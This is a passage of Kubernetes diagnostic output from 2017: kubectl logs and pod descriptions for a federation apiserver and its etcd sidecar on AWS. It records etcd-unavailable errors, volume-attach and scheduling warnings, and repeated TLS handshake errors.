timeout\r e0215 19:54:32.275161       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.275356       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.275499       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.275837       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.359910       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/service/servicecontroller.go:266: failed to list  v1.service: get https://federation-system-apiserver/api/v1/services?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.359910       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/service/servicecontroller.go:267: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r  root@ip-10-0-0-197 ec2-user   kubectl logs  federation-system-apiserver-4287764562-mclvp  apiserver --namespace=federation-system\r i0215 19:54:26.917716       1 config.go:498  will report 10.46.0.5 as public ip address.\r e0215 19:54:26.920168       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  federation.cluster: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.922923       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.namespace: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.922967       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.service: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.922997       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.secret: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.923096       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.configmap: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.928735       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.replicaset: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.932688       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.deployment: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.932728       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.ingress: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.932827       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.daemonset: client: etcd cluster is unavailable or misconfigured\r  restful  2017/02/15 19:54:26 log.go:30:  restful/swagger  listing is available at https://10.46.0.5:443/swaggerapi/\r  restful  2017/02/15 19:54:26 log.go:30:  restful/swagger  https://10.46.0.5:443/swaggerui/ is mapped to folder /swagger-ui/\r i0215 19:54:26.957569       1 serve.go:93  serving securely on 0.0.0.0:443\r i0215 19:54:26.957649       1 serve.go:107  serving insecurely on 127.0.0.1:8080\r e0215 19:54:27.920831       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  federation.cluster: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.923955       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.namespace: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.923986       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.service: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.924087       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.secret: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.924107       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.configmap: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.929402       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.replicaset: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.944310       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.daemonset: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.944436       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.deployment: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.944510       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.ingress: client: etcd cluster is unavailable or misconfigured\r    \r \r    \r  root@ip-10-0-0-197 ec2-user   kubectl describe pods  federation-system-apiserver-4287764562-mclvp --namespace=federation-system\r name:\t\tfederation-system-apiserver-4287764562-mclvp\r namespace:\tfederation-system\r node:\t\tip-10-8-103-46.ec2.internal/10.8.103.46\r start time:\twed, 15 feb 2017 19:53:40 +0000\r labels:\t\tapp=federated-cluster\r \t\tmodule=federation-apiserver\r \t\tpod-template-hash=4287764562\r status:\t\trunning\r ip:\t\t10.46.0.5\r controllers:\treplicaset/federation-system-apiserver-4287764562\r containers:\r   apiserver:\r     container id:\tdocker://5ac73332629cb65ef32a4fff23097a53edc448dc5e4b561454544ac7a3a67231\r     image:\t\tgcr.io/google_containers/hyperkube-amd64:v1.5.2\r     image id:\t\tdocker-pullable://gcr.io/google_containers/hyperkube-amd64@sha256:71d00e0b1fac4750f2d93bb8ca05a2c0d69e68ead9f76ced84d81a2bde6ff51f\r     ports:\t\t443/tcp, 8080/tcp\r     command:\r       /hyperkube\r       federation-apiserver\r       --bind-address=0.0.0.0\r       --etcd-servers=http://localhost:2379\r       --service-cluster-ip-range=10.0.0.0/16\r       --secure-port=443\r       --client-ca-file=/etc/federation/apiserver/ca.crt\r       --tls-cert-file=/etc/federation/apiserver/server.crt\r       --tls-private-key-file=/etc/federation/apiserver/server.key\r     state:\t\trunning\r       started:\t\twed, 15 feb 2017 19:54:26 +0000\r     ready:\t\ttrue\r     restart count:\t0\r     volume mounts:\r       /etc/federation/apiserver from federation-system-apiserver-credentials  ro \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nqj32  ro \r     environment variables:\t<none>\r   etcd:\r     container id:\tdocker://b502aa53196cc105b8e2040fef9e43032013b8d38eccbb6e0f3b872227d79444\r     image:\t\tquay.io/coreos/etcd:v2.3.3\r     image id:\t\tdocker-pullable://quay.io/coreos/etcd@sha256:2b1b28182ec671e1b58367e08263fc67876b40aed69f74c3509b966de0bbd4df\r     port:\t\t\r     command:\r       /etcd\r       --data-dir\r       /var/etcd/data\r     state:\t\trunning\r       started:\t\twed, 15 feb 2017 19:54:28 +0000\r     ready:\t\ttrue\r     restart count:\t0\r     volume mounts:\r       /var/etcd from etcddata  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nqj32  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \ttrue \r   podscheduled \ttrue \r volumes:\r   federation-system-apiserver-credentials:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tfederation-system-apiserver-credentials\r   etcddata:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tfederation-system-apiserver-etcd-claim\r     readonly:\tfalse\r   default-token-nqj32:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-nqj32\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t1m\t\t2\t{default-scheduler }\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ federation-system-apiserver-etcd-claim\ , which is unexpected. \r   1m\t\t1m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned federation-system-apiserver-4287764562-mclvp to ip-10-8-103-46.ec2.internal\r   1m\t\t1m\t\t2\t{controller-manager }\t\t\twarning\t\tfailedmount\t\tfailed to attach volume \ pvc-71ea7e7e-f3b8-11e6-bd41-12a9e378529c\  on node \ ip-10-8-103-46.ec2.internal\  with: error attaching ebs volume \ vol-000b2f2b764fbe0ef\  to instance \ i-07a7e4b00e802b80d\ : incorrectstate: vol-000b2f2b764fbe0ef is not 'available'.\r \t\tstatus code: 400, request id: \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{apiserver}\tnormal\tpulling\tpulling image \ gcr.io/google_containers/hyperkube-amd64:v1.5.2\ \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{apiserver}\tnormal\tpulled\tsuccessfully pulled image \ gcr.io/google_containers/hyperkube-amd64:v1.5.2\ \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{apiserver}\tnormal\tcreated\tcreated container with docker id 5ac73332629c; security: seccomp=unconfined \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{apiserver}\tnormal\tstarted\tstarted container with docker id 5ac73332629c\r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{etcd}\t\tnormal\tpulling\tpulling image \ quay.io/coreos/etcd:v2.3.3\ \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{etcd}\t\tnormal\tpulled\tsuccessfully pulled image \ quay.io/coreos/etcd:v2.3.3\ \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{etcd}\t\tnormal\tcreated\tcreated container with docker id b502aa53196c; security: seccomp=unconfined \r   1m\t\t1m\t1\t{kubelet ip-10-8-103-46.ec2.internal}\tspec.containers{etcd}\t\tnormal\tstarted\tstarted container with docker id b502aa53196c\r    \r \r \r    \r  root@ip-10-0-0-197 ec2-user   kubectl logs  federation-system-apiserver-4287764562-mclvp   etcd --namespace=federation-system\r 2017-02-15 19:54:28.519204 i | etcdmain: etcd version: 2.3.3\r 2017-02-15 19:54:28.519234 i | etcdmain: git sha: c41345d\r 2017-02-15 19:54:28.519239 i | etcdmain: go version: go1.6.2\r 2017-02-15 19:54:28.519242 i | etcdmain: go os/arch: linux/amd64\r 2017-02-15 19:54:28.519247 i | etcdmain: setting maximum number of cpus to 2, total number of available cpus is 2\r 2017-02-15 19:54:28.522215 i | etcdmain: listening for peers on http://localhost:2380\r 2017-02-15 19:54:28.522432 i | etcdmain: listening for peers on http://localhost:7001\r 2017-02-15 19:54:28.522534 i | etcdmain: listening for client requests on http://localhost:2379\r 2017-02-15 19:54:28.522674 i | etcdmain: listening for client requests on http://localhost:4001\r 2017-02-15 19:54:28.523480 i | etcdserver: name = default\r 2017-02-15 19:54:28.523509 i | etcdserver: data dir = /var/etcd/data\r 2017-02-15 19:54:28.523515 i | etcdserver: member dir = /var/etcd/data/member\r 2017-02-15 19:54:28.523519 i | etcdserver: heartbeat = 100ms\r 2017-02-15 19:54:28.523523 i | etcdserver: election = 1000ms\r 2017-02-15 19:54:28.523527 i | etcdserver: snapshot count = 10000\r 2017-02-15 19:54:28.523536 i | etcdserver: advertise client urls = http://localhost:2379,http://localhost:4001\r 2017-02-15 19:54:28.523544 i | etcdserver: initial advertise peer urls = http://localhost:2380,http://localhost:7001\r 2017-02-15 19:54:28.523553 i | etcdserver: initial cluster = default=http://localhost:2380,default=http://localhost:7001\r 2017-02-15 19:54:28.529064 i | etcdserver: starting member ce2a822cea30bfca in cluster 7e27652122e8b2ae\r 2017-02-15 19:54:28.529105 i | raft: ce2a822cea30bfca became follower at term 0\r 2017-02-15 19:54:28.529131 i | raft: newraft ce2a822cea30bfca  peers:   , term: 0, commit: 0, applied: 0, lastindex: 0, lastterm: 0 \r 2017-02-15 19:54:28.529137 i | raft: ce2a822cea30bfca became follower at term 1\r 2017-02-15 19:54:28.529354 i | etcdserver: starting server...  version: 2.3.3, cluster version: to_be_decided \r 2017-02-15 19:54:28.530245 n | etcdserver: added local member ce2a822cea30bfca  http://localhost:2380 http://localhost:7001  to cluster 7e27652122e8b2ae\r 2017-02-15 19:54:28.929468 i | raft: ce2a822cea30bfca is starting a new election at term 1\r 2017-02-15 19:54:28.929525 i | raft: ce2a822cea30bfca became candidate at term 2\r 2017-02-15 19:54:28.929532 i | raft: ce2a822cea30bfca received vote from ce2a822cea30bfca at term 2\r 2017-02-15 19:54:28.929553 i | raft: ce2a822cea30bfca became leader at term 2\r 2017-02-15 19:54:28.929561 i | raft: raft.node: ce2a822cea30bfca elected leader ce2a822cea30bfca at term 2\r 2017-02-15 19:54:28.930254 i | etcdserver: setting up the initial cluster version to 2.3\r 2017-02-15 19:54:28.935046 n | etcdserver: set the initial cluster version to 2.3\r 2017-02-15 19:54:28.935129 i | etcdserver: published {name:default clienturls: http://localhost:2379 http://localhost:4001 } to cluster 7e27652122e8b2ae\r    \r \r    \r  root@ip-10-0-0-197 ec2-user   kubectl logs  federation-system-apiserver-4287764562-mclvp apiserver --namespace=federation-system\r i0215 19:54:26.917716       1 config.go:498  will report 10.46.0.5 as public ip address.\r e0215 19:54:26.920168       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  federation.cluster: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.922923       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.namespace: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.922967       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.service: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.922997       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.secret: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.923096       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.configmap: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.928735       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.replicaset: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.932688       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.deployment: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.932728       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.ingress: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:26.932827       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.daemonset: client: etcd cluster is unavailable or misconfigured\r  restful  2017/02/15 19:54:26 log.go:30:  restful/swagger  listing is available at https://10.46.0.5:443/swaggerapi/\r  restful  2017/02/15 19:54:26 log.go:30:  restful/swagger  https://10.46.0.5:443/swaggerui/ is mapped to folder /swagger-ui/\r i0215 19:54:26.957569       1 serve.go:93  serving securely on 0.0.0.0:443\r i0215 19:54:26.957649       1 serve.go:107  serving insecurely on 127.0.0.1:8080\r e0215 19:54:27.920831       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  federation.cluster: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.923955       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.namespace: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.923986       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.service: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.924087       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.secret: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.924107       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  api.configmap: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.929402       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.replicaset: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.944310       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.daemonset: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.944436       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.deployment: client: etcd cluster is unavailable or misconfigured\r e0215 19:54:27.944510       1 cacher.go:260  unexpected listandwatch error: pkg/storage/cacher.go:201: failed to list  extensions.ingress: client: etcd cluster is unavailable or misconfigured\r i0215 19:55:52.194881       1 logs.go:41  http: tls handshake error from 10.45.0.0:46830: eof\r i0215 19:55:52.194968       1 logs.go:41  http: tls handshake error from 10.32.0.1:7567: eof\r i0215 19:55:59.865482       1 logs.go:41  http: tls handshake error from 10.42.0.0:24958: eof\r i0215 19:55:59.865799       1 logs.go:41  http: tls handshake error from 10.40.0.0:54007: eof\r i0215 19:56:01.870597       1 logs.go:41  http: tls handshake error from 10.32.0.1:7629: eof\r i0215 19:56:01.870674       1 logs.go:41  http: tls handshake error from 10.45.0.0:46892: eof\r i0215 19:56:09.517444       1 logs.go:41  http: tls handshake error from 10.40.0.0:54061: eof\r i0215 19:56:09.517543       1 logs.go:41  http: tls handshake error from 10.42.0.0:25012: eof\r i0215 19:56:11.383092       1 logs.go:41  http: tls handshake error from 10.46.0.0:24973: eof\r i0215 19:56:11.383445       1 logs.go:41  http: tls handshake error from 10.38.0.0:50707: eof\r i0215 19:56:11.870180       1 logs.go:41  http: tls handshake error from 10.45.0.0:46922: eof\r i0215 19:56:11.870247       1 logs.go:41  http: tls handshake error from 10.32.0.1:7659: eof\r i0215 19:56:19.517160       1 logs.go:41  http: tls handshake error from 10.42.0.0:25028: eof\r i0215 19:56:19.517229       1 logs.go:41  http: tls handshake error from 10.40.0.0:54077: eof\r i0215 19:56:20.910280       1 logs.go:41  http: tls handshake error from 10.46.0.0:25009: eof\r i0215 19:56:20.910728       1 logs.go:41  http: tls handshake error from 10.38.0.0:50743: eof\r i0215 19:56:21.870280       1 logs.go:41  http: tls handshake error from 10.45.0.0:46946: eof\r i0215 19:56:21.870349       1 logs.go:41  http: tls handshake error from 10.32.0.1:7683: eof\r i0215 19:56:29.516815       1 logs.go:41  http: tls handshake error from 10.40.0.0:54101: eof\r i0215 19:56:29.517607       1 logs.go:41  http: tls handshake error from 10.42.0.0:25052: eof\r i0215 19:56:30.910757       1 logs.go:41  http: tls handshake error from 10.46.0.0:25013: eof\r i0215 19:56:30.911131       1 logs.go:41  http: tls handshake error from 10.38.0.0:50747: eof\r i0215 19:56:31.869318       1 logs.go:41  http: tls handshake error from 10.45.0.0:46950: eof\r i0215 19:56:31.869392       1 logs.go:41  http: tls handshake error from 10.32.0.1:7687: eof\r i0215 19:56:39.516639       1 logs.go:41  http: tls handshake error from 10.40.0.0:54107: eof\r i0215 19:56:39.516682       1 logs.go:41  http: tls handshake error from 10.42.0.0:25058: eof\r i0215 19:56:40.910120       1 logs.go:41  http: tls handshake error from 10.46.0.0:25037: eof\r i0215 19:56:40.910454       1 logs.go:41  http: tls handshake error from 10.38.0.0:50771: eof\r i0215 19:56:41.869531       1 logs.go:41  http: tls handshake error from 10.45.0.0:46958: eof\r i0215 19:56:41.869603       1 logs.go:41  http: tls handshake error from 10.32.0.1:7695: eof\r i0215 19:56:49.516598       1 logs.go:41  http: tls handshake error from 10.42.0.0:25076: eof\r i0215 19:56:49.517193       1 logs.go:41  http: tls handshake error from 10.40.0.0:54125: eof\r i0215 19:56:50.910473       1 logs.go:41  http: tls handshake error from 10.46.0.0:25043: eof\r i0215 19:56:50.910867       1 logs.go:41  http: tls handshake error from 10.38.0.0:50777: eof\r i0215 19:56:51.868719       1 logs.go:41  http: tls handshake error from 10.32.0.1:7703: eof\r i0215 19:56:51.868880       1 logs.go:41  http: tls handshake error from 10.45.0.0:46966: eof\r i0215 19:56:59.516960       1 logs.go:41  http: tls handshake error from 10.42.0.0:25088: eof\r i0215 19:56:59.517331       1 logs.go:41  http: tls handshake error from 10.40.0.0:54137: eof\r i0215 19:57:00.909757       1 logs.go:41  http: tls handshake error from 10.46.0.0:25059: eof\r i0215 19:57:00.910341       1 logs.go:41  http: tls handshake error from 10.38.0.0:50793: eof\r i0215 19:57:01.869116       1 logs.go:41  http: tls handshake error from 10.32.0.1:7721: eof\r i0215 19:57:01.869173       1 logs.go:41  http: tls handshake error from 10.45.0.0:46984: eof\r i0215 19:57:09.516049       1 logs.go:41  http: tls handshake error from 10.40.0.0:54149: eof\r i0215 19:57:09.516435       1 logs.go:41  http: tls handshake error from 10.42.0.0:25100: eof\r i0215 19:57:10.910158       1 logs.go:41  http: tls handshake error from 10.46.0.0:25087: eof\r i0215 19:57:10.910771       1 logs.go:41  http: tls handshake error from 10.38.0.0:50821: eof\r i0215 19:57:11.869078       1 logs.go:41  http: tls handshake error from 10.32.0.1:7727: eof\r i0215 19:57:11.869106       1 logs.go:41  http: tls handshake error from 10.45.0.0:46990: eof\r i0215 19:57:19.516425       1 logs.go:41  http: tls handshake error from 10.42.0.0:25106: eof\r i0215 19:57:19.516992       1 logs.go:41  http: tls handshake error from 10.40.0.0:54155: eof\r i0215 19:57:20.909720       1 logs.go:41  http: tls handshake error from 10.46.0.0:25095: eof\r i0215 19:57:20.910167       1 logs.go:41  http: tls handshake error from 10.38.0.0:50829: eof\r i0215 19:57:21.868385       1 logs.go:41  http: tls handshake error from 10.32.0.1:7737: eof\r i0215 19:57:21.868624       1 logs.go:41  http: tls handshake error from 10.45.0.0:47000: eof\r i0215 19:57:29.516756       1 logs.go:41  http: tls handshake error from 10.40.0.0:54167: eof\r i0215 19:57:29.516974       1 logs.go:41  http: tls handshake error from 10.42.0.0:25118: eof\r i0215 19:57:30.909700       1 logs.go:41  http: tls handshake error from 10.46.0.0:25099: eof\r i0215 19:57:30.910256       1 logs.go:41  http: tls handshake error from 10.38.0.0:50833: eof\r i0215 19:57:31.867720       1 logs.go:41  http: tls handshake error from 10.32.0.1:7741: eof\r i0215 19:57:31.867865       1 logs.go:41  http: tls handshake error from 10.45.0.0:47004: eof\r i0215 19:57:39.515769       1 logs.go:41  http: tls handshake error from 10.42.0.0:25122: eof\r i0215 19:57:39.516573       1 logs.go:41  http: tls handshake error from 10.40.0.0:54171: eof\r i0215 19:57:40.909728       1 logs.go:41  http: tls handshake error from 10.46.0.0:25109: eof\r i0215 19:57:40.910298       1 logs.go:41  http: tls handshake error from 10.38.0.0:50843: eof\r i0215 19:57:41.868177       1 logs.go:41  http: tls handshake error from 10.32.0.1:7749: eof\r i0215 19:57:41.868196       1 logs.go:41  http: tls handshake error from 10.45.0.0:47012: eof\r i0215 19:57:49.516181       1 logs.go:41  http: tls handshake error from 10.42.0.0:25130: eof\r i0215 19:57:49.516317       1 logs.go:41  http: tls handshake error from 10.40.0.0:54179: eof\r i0215 19:57:50.909273       1 logs.go:41  http: tls handshake error from 10.46.0.0:25115: eof\r i0215 19:57:50.909590       1 logs.go:41  http: tls handshake error from 10.38.0.0:50849: eof\r i0215 19:57:51.867712       1 logs.go:41  http: tls handshake error from 10.32.0.1:7757: eof\r i0215 19:57:51.867785       1 logs.go:41  http: tls handshake error from 10.45.0.0:47020: eof\r i0215 19:57:59.516182       1 logs.go:41  http: tls handshake error from 10.40.0.0:54191: eof\r i0215 19:57:59.516958       1 logs.go:41  http: tls handshake error from 10.42.0.0:25142: eof\r i0215 19:58:00.909229       1 logs.go:41  http: tls handshake error from 10.46.0.0:25127: eof\r i0215 19:58:00.909646       1 logs.go:41  http: tls handshake error from 10.38.0.0:50861: eof\r i0215 19:58:01.868265       1 logs.go:41  http: tls handshake error from 10.32.0.1:7767: eof\r i0215 19:58:01.868434       1 logs.go:41  http: tls handshake error from 10.45.0.0:47030: eof\r i0215 19:58:09.515959       1 logs.go:41  http: tls handshake error from 10.42.0.0:25154: eof\r i0215 19:58:09.516058       1 logs.go:41  http: tls handshake error from 10.40.0.0:54203: eof\r i0215 19:58:10.908701       1 logs.go:41  http: tls handshake error from 10.46.0.0:25141: eof\r i0215 19:58:10.909021       1 logs.go:41  http: tls handshake error from 10.38.0.0:50875: eof\r i0215 19:58:11.867702       1 logs.go:41  http: tls handshake error from 10.45.0.0:47044: eof\r i0215 19:58:11.867726       1 logs.go:41  http: tls handshake error from 10.32.0.1:7781: eof\r i0215 19:58:19.515614       1 logs.go:41  http: tls handshake error from 10.40.0.0:54209: eof\r i0215 19:58:19.516373       1 logs.go:41  http: tls handshake error from 10.42.0.0:25160: eof\r i0215 19:58:20.908834       1 logs.go:41  http: tls handshake error from 10.46.0.0:25149: eof\r i0215 19:58:20.909391       1 logs.go:41  http: tls handshake error from 10.38.0.0:50883: eof\r i0215 19:58:21.866862       1 logs.go:41  http: tls handshake error from 10.32.0.1:7791: eof\r i0215 19:58:21.866945       1 logs.go:41  http: tls handshake error from 10.45.0.0:47054: eof\r i0215 19:58:29.515724       1 logs.go:41  http: tls handshake error from 10.42.0.0:25172: eof\r i0215 19:58:29.515757       1 logs.go:41  http: tls handshake error from 10.40.0.0:54221: eof\r i0215 19:58:30.909251       1 logs.go:41  http: tls handshake error from 10.46.0.0:25153: eof\r i0215 19:58:30.909658       1 logs.go:41  http: tls handshake error from 10.38.0.0:50887: eof\r i0215 19:58:31.867645       1 logs.go:41  http: tls handshake error from 10.45.0.0:47058: eof\r i0215 19:58:31.867722       1 logs.go:41  http: tls handshake error from 10.32.0.1:7795: eof\r i0215 19:58:39.516231       1 logs.go:41  http: tls handshake error from 10.40.0.0:54225: eof\r i0215 19:58:39.516498       1 logs.go:41  http: tls handshake error from 10.42.0.0:25176: eof\r i0215 19:58:40.908539       1 logs.go:41  http: tls handshake error from 10.46.0.0:25165: eof\r i0215 19:58:40.908878       1 logs.go:41  http: tls handshake error from 10.38.0.0:50899: eof\r i0215 19:58:41.867309       1 logs.go:41  http: tls handshake error from 10.45.0.0:47068: eof\r i0215 19:58:41.877447       1 logs.go:41  http: tls handshake error from 10.32.0.1:7805: eof\r i0215 19:58:49.516092       1 logs.go:41  http: tls handshake error from 10.40.0.0:54237: eof\r i0215 19:58:49.516181       1 logs.go:41  http: tls handshake error from 10.42.0.0:25188: eof\r i0215 19:58:50.908862       1 logs.go:41  http: tls handshake error from 10.46.0.0:25169: eof\r i0215 19:58:50.909112       1 logs.go:41  http: tls handshake error from 10.38.0.0:50903: eof\r i0215 19:58:51.866517       1 logs.go:41  http: tls handshake error from 10.32.0.1:7811: eof\r i0215 19:58:51.866732       1 logs.go:41  http: tls handshake error from 10.45.0.0:47074: eof\r i0215 19:58:58.742144       1 logs.go:41  http: tls handshake error from 10.32.0.1:7817: eof\r i0215 19:58:59.516116       1 logs.go:41  http: tls handshake error from 10.40.0.0:54245: eof\r i0215 19:58:59.516370       1 logs.go:41  http: tls handshake error from 10.42.0.0:25196: eof\r i0215 19:59:00.908921       1 logs.go:41  http: tls handshake error from 10.46.0.0:25181: eof\r i0215 19:59:00.909453       1 logs.go:41  http: tls handshake error from 10.38.0.0:50915: eof\r i0215 19:59:01.867257       1 logs.go:41  http: tls handshake error from 10.45.0.0:47092: eof\r i0215 19:59:01.867344       1 logs.go:41  http: tls handshake error from 10.32.0.1:7829: eof\r i0215 19:59:09.516360       1 logs.go:41  http: tls handshake error from 10.40.0.0:54257: eof\r i0215 19:59:09.516468       1 logs.go:41  http: tls handshake error from 10.42.0.0:25208: eof\r i0215 19:59:10.908463       1 logs.go:41  http: tls handshake error from 10.46.0.0:25195: eof\r i0215 19:59:10.908860       1 logs.go:41  http: tls handshake error from 10.38.0.0:50929: eof\r i0215 19:59:11.866481       1 logs.go:41  http: tls handshake error from 10.32.0.1:7839: eof\r i0215 19:59:11.866563       1 logs.go:41  http: tls handshake error from 10.45.0.0:47102: eof\r i0215 19:59:19.516089       1 logs.go:41  http: tls handshake error from 10.40.0.0:54265: eof\r i0215 19:59:19.516174       1 logs.go:41  http: tls handshake error from 10.42.0.0:25216: eof\r i0215 19:59:20.908242       1 logs.go:41  http: tls handshake error from 10.46.0.0:25203: eof\r i0215 19:59:20.908625       1 logs.go:41  http: tls handshake error from 10.38.0.0:50937: eof\r i0215 19:59:21.865979       1 logs.go:41  http: tls handshake error from 10.45.0.0:47112: eof\r i0215 19:59:21.866044       1 logs.go:41  http: tls handshake error from 10.32.0.1:7849: eof\r i0215 19:59:29.515267       1 logs.go:41  http: tls handshake error from 10.40.0.0:54275: eof\r i0215 19:59:29.515714       1 logs.go:41  http: tls handshake error from 10.42.0.0:25226: eof\r i0215 19:59:30.908484       1 logs.go:41  http: tls handshake error from 10.46.0.0:25207: 